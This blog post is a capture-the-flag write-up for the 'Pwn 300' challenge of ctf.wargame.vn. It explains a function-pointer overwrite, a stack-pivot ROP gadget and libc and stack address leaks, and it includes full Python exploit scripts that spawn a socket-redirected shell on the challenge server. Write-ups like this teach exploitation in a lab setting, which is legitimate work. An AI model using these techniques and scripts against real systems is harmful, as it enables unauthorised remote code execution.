Monday, August 12, 2013

ctf.wargame.vn - Pwn 300

For pwn300 challenge we were given a 32-bit ELF executable with NX enabled. Analysing the binary we have the following information

First recv() call
[*] recv(fd, &s, 40, 0) is called, execution continues if strlen(&s) <= 24
[*] if strlen() succeeds, strcpy(&v14, &s) is called
[*] memset(&s, 0, 40) is called to clear the buffer

Its possible to send 40 bytes in recv() call by using NUL byte after 24th byte, but memset() clears this memory

Second recv() call
[*] recv(fd, &buf, 4, 0) is called, this 4 bytes is assigned to another memory location

Third recv() call, which is similar to first call
[*] recv(fd, &s, 40, 0) is called, execution continues if strlen(&s) <= 24
[*] if strlen() succeeds, strcpy(&v13, &s) is called
[*] memset(&s, 0, 40) is called to clear the buffer

Fourth recv() call
[*] We can reach the fourth recv() call if strcmp(&v13, &v14) == 0
[*] After recv(), strcpy(&v14 + 32, &s) is called
[*] There is a function pointer v15 at [ebp-0x44], &v14 + 32 points to ebp-0x50. So strcpy() call overwrites function pointer, giving control of EIP
#!/usr/bin/env python

import socket
import struct
import time

ip = "127.0.0.1"
#ip = "42.117.7.116"

port = 1337
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

soc.send("A"*24)
time.sleep(0.5)

soc.send("B"*4)
time.sleep(0.5)

soc.send("A"*24)
time.sleep(0.5)

soc.send("A"*24)
time.sleep(0.5)

soc.send("C"*36)
This is how the memory looked like during crash.
gdb-peda$ info registers 
eax            0x43434343 0x43434343
ecx            0x0 0x0
edx            0x25 0x25
ebx            0xffffd10c 0xffffd10c
esp            0xffffd0cc 0xffffd0cc
ebp            0xffffd1a8 0xffffd1a8
esi            0x0 0x0
edi            0x0 0x0
eip            0x43434343 0x43434343
eflags         0x10246 [ PF ZF IF RF ]
cs             0x23 0x23
ss             0x2b 0x2b
ds             0x2b 0x2b
es             0x2b 0x2b
fs             0x0 0x0
gs             0x63 0x63

gdb-peda$ x/50x $esp
0xffffd0cc: 0x08048bdc 0xffffd138 0xffffd168 0x00000028
0xffffd0dc: 0x00000000 0x42424242 0xffffd138 0x01ffd138
0xffffd0ec: 0xffffd144 0x41414141 0x41414141 0x41414141
0xffffd0fc: 0x41414141 0x41414141 0x41414141 0x00000000
0xffffd10c: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd11c: 0x41414141 0x41414141 0x03df6100 0x08048430
0xffffd12c: 0x00273dd0 0x0017bba4 0x08048864 0x42424242
0xffffd13c: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd14c: 0x41414141 0x41414141 0x00000000 0x43434343
0xffffd15c: 0x43434343 0x43434343 0x43434343 0x43434343
0xffffd16c: 0x43434343 0x08048864 0x43434343 0x43434343
0xffffd17c: 0x43434300 0x08048864 0x43434343 0x43434343
0xffffd18c: 0x00000000 0x6e6f4320
The user input is spread out in stack. We need to point ESP to user controlled memory, to perform ROP.
0x08048f59: add esp, 0x1C ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
I used the above gadget to point ESP to user controlled buffer by overwriting function pointer with 0x8048f59. This is how the memory looked like after shifting the stack
soc.send(struct.pack("<I", 0x08048f59)*9
gdb-peda$ info registers 
eax            0x8048f59 0x8048f59
ecx            0x0 0x0
edx            0x25 0x25
ebx            0x1ffd138 0x1ffd138
esp            0xffffd0fc 0xffffd0fc
ebp            0x41414141 0x41414141
esi            0xffffd144 0xffffd144
edi            0x41414141 0x41414141
eip            0x41414141 0x41414141
eflags         0x10296 [ PF AF SF IF RF ]
cs             0x23 0x23
ss             0x2b 0x2b
ds             0x2b 0x2b
es             0x2b 0x2b
fs             0x0 0x0
gs             0x63 0x63
gdb-peda$ x/50wx $esp
0xffffd0fc: 0x41414141 0x41414141 0x41414141 0x00000000
0xffffd10c: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd11c: 0x41414141 0x41414141 0x03df6100 0x08048430
0xffffd12c: 0x00273dd0 0x0017bba4 0x08048864 0x42424242
0xffffd13c: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd14c: 0x41414141 0x41414141 0x00000000 0x08048f59
0xffffd15c: 0x08048f59 0x08048f59 0x08048f59 0x08048f59
0xffffd16c: 0x08048f59 0x08048864 0x08048f59 0x08048f59
0xffffd17c: 0x08048f00 0x08048864 0x08048f59 0x08048f59
0xffffd18c: 0x00000000 0x6e6f4320 0x63696c66 0x000a2074
0xffffd19c: 0xbab92437 0x003f7ff4 0x003f7ff4 0xffffd318
0xffffd1ac: 0x08048d84 0x00000008 0xffffd2fc 0xffffd1d8
0xffffd1bc: 0x001c8594 0x00266c18
Information leak to get libc address:

strcpy() doesn't allow use of NUL bytes. To perform ret-2-libc, I need information leak. But chaining gadgets was difficult as I couldn't pass function parameters due to NUL byte restriction. handle() function had an intersting sequence of instruction to call send()
.text:08048A17                 mov     eax, [ebp+fd]
.text:08048A1A                 mov     [esp], eax      ; fd
.text:08048A1D                 call    _send
Now to take advantage of this, we need to setup a few things

[*] fd value needs to be 0x4
[*] [ebp+fd] should point to 0x4. We have a pop ebp in the gadget 0x8048f59
[*] pop a value into ebp such that ebp+0x8 points to 0x4
gdb-peda$ x/x 0x08048050
0x8048050: 0x00000004
We can pop address 0x08048048 into ebp, so that [ebp+8] points to 0x4, which is our socket descriptor. Entire exploitation thrives on information leak using the above described gadgets. Since fork() is called, the address layout doesnt change when new child is spawned
First idea was to leak the GOT entry of __libc_start_main to find the randomized address of libc. With information leak, I found that my local copy of libc matched with the remote libc version. So I can compute offsets with accuracy
#!/usr/bin/env python

import socket
import struct
import time

ip = "127.0.0.1"
ip = "42.117.7.116"

port = 1337
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

got_libc_start_main = 0x0804b018
offset_libc_start_main = 0x193e0
offset_system = 0x3f430
offset_program_invocation_name = 0x1a58a0

soc.send("A"*24)
time.sleep(0.5)

soc.send("B"*4)
time.sleep(0.5)

soc.send(struct.pack("<I",0x8048048)*2 + struct.pack("<I",0x08048A17) + struct.pack("<I", got_libc_start_main)*3)
time.sleep(0.5)

soc.send("A"*24)
time.sleep(0.5)

soc.send(struct.pack("<I", 0x08048f59)*4 + "C"*23)
soc.recv(1024)
time.sleep(0.5)
addr = struct.unpack("<I",soc.recv(4))[0]
print "__libc_start_main: ", hex(addr)
base = addr - offset_libc_start_main

print "Base addr: ",hex(base)
print "System addr: ",hex(base + offset_system)
print "program_invocation_name: ",hex(base + offset_program_invocation_name)
[ctf@renorobert Mario CTF]$ python leak300.py 
__libc_start_main:  0xf74ba3e0
Base addr:  0xf74a1000
System addr:  0xf74e0430
program_invocation_name:  0xf76468a0
Leaking random address of stack:

With libc address found, my idea was to call system('/bin/sh'). But that wasn't enough, we need dup2(). I decided to pass "sh<&4 >&4" as parameter to system(). But first, we need to locate the address of string in stack. After analysing libc I found that program_invocation_name holds the random stack address. We already computed the address of program_invocation_name. Now lets leak the data in it.
#!/usr/bin/env python

import socket
import struct
import time

ip = "127.0.0.1"
ip = "42.117.7.116"

port = 1337
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

soc.send("A"*24)
time.sleep(0.5)

soc.send("B"*4)
time.sleep(0.5)

soc.send(struct.pack("<I",0x8048048)*2 + struct.pack("<I",0x08048A17) + struct.pack("<I",0xf76468a0)*3)
time.sleep(0.5)

soc.send("A"*24)
time.sleep(0.5)

soc.send(struct.pack("<I", 0x08048f59)*4 + "C"*23)
soc.recv(1024)
time.sleep(0.5)
print "Stack addr: ", hex(struct.unpack("<I",(soc.recv(256)[:4]))[0])
[ctf@renorobert Mario CTF]$ python leak300_stack.py 
Stack addr:  0xff94f3dd
So now we have the random stack address. Next we have to find the exact address of user string in stack memory

Finding address of string in stack:

Well, information leak again. We are going to read stack using the same set of gadgets to find the string.
soc.send(struct.pack("<I",0x08048048)*2 + struct.pack("<I",0x08048A17) + struct.pack("<I",0xff94f3dd)*3)
[ctf@renorobert Mario CTF]$ python leak300_stack_memory.py 
'pwn2\x00SHELL=/home/pwn2/pwn2\x00TERM=screen\x00USER=pwn2\x00LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lz=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.axv=01;35:*.anx=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.axa=00;36:*.oga=00;36:*.spx=00;36:*.xspf=00;36:\x00SUDO_USER=vnsec\x00SUDO_UID=1000\x00TERMCAP=SC|screen|VT 100/ANSI X3.64 virtual terminal'
By changing address, I read the stack memory and finally found the location of string at 0xff94e0ac
[ctf@renorobert Mario CTF]$ python leak300_stack_memory.py 
'AAAAAAAAAAAAAAAAAAAAAAAA\x00/v\xf7\x189v\xf7\x01\x00\x00\x00\x00\x00\x00\x00d\x88\x04\x08BBBBAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00\x00\x00Y\x8f\x04\x08Y\x8f\x04\x08Y\x8f\x04\x08Y\x8f\x04\x08CCCCCCCCd\x88\x04\x08CCCCCCCCCCC\x00d\x88\x04\x08CCCCCCCCCCC\x00 Conflict \n\x00\x00UI\x9f\xf4_d\xf7\xf4_d\xf7'
Final exploit:

Now we have all the address needed to read flag. Below is the final exploit
#!/usr/bin/env python

import socket
import struct
import time

ip = "127.0.0.1"
ip = "42.117.7.116"

port = 1337
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))
comm = "               sh<&4 >&4"

soc.send(comm)
time.sleep(0.5)

soc.send("B"*4)
time.sleep(0.5)

soc.send(struct.pack("<I",0x08048048)*2 + struct.pack("<I",0xf74e0430) + struct.pack("<I",0xff94e0ac)*3)
time.sleep(0.5)

soc.send(comm)
time.sleep(0.5)

soc.recv(1024)
soc.send(struct.pack("<I", 0x08048f59)*4 + "C"*23)
time.sleep(1)

soc.send("cat /home/pwn2/flag\n")
print repr(soc.recv(2048))
The flag for the challenge is mario_is_the_best_hacker_in_the_world

There are few globals in libc, which holds random address of stack and heap. Some globals that hold stack address are program_invocation_name, program_invocation_short_name and environ. More information in man program_invocation_name. __curbrk keeps track of heap address. It holds the address passed to brk() system call as the heap grows. Reading its value will give the random address of heap

4 comments :

  1. Even though you leaked the address of libc_start_main, you said that the address of libc_start_main is randomized. So how can you exactly know what libc does the binary uses? Don't you also have to know the libc base address?

    ReplyDelete
  2. Did you just search around the address you leaked by using program_invocation_name and found the user input?

    ReplyDelete
  3. My local libc matched the remote libc. So it was easy to compute offset. Base address will be page aligned, so last 12 bits will be 0 eg, 0xf74a1000.

    Different ways to find remote libc offsets are discussed here , http://j00ru.vexillium.org/blog/24_03_15/dragons_ctf.pdf. Checkout slides 64+

    ReplyDelete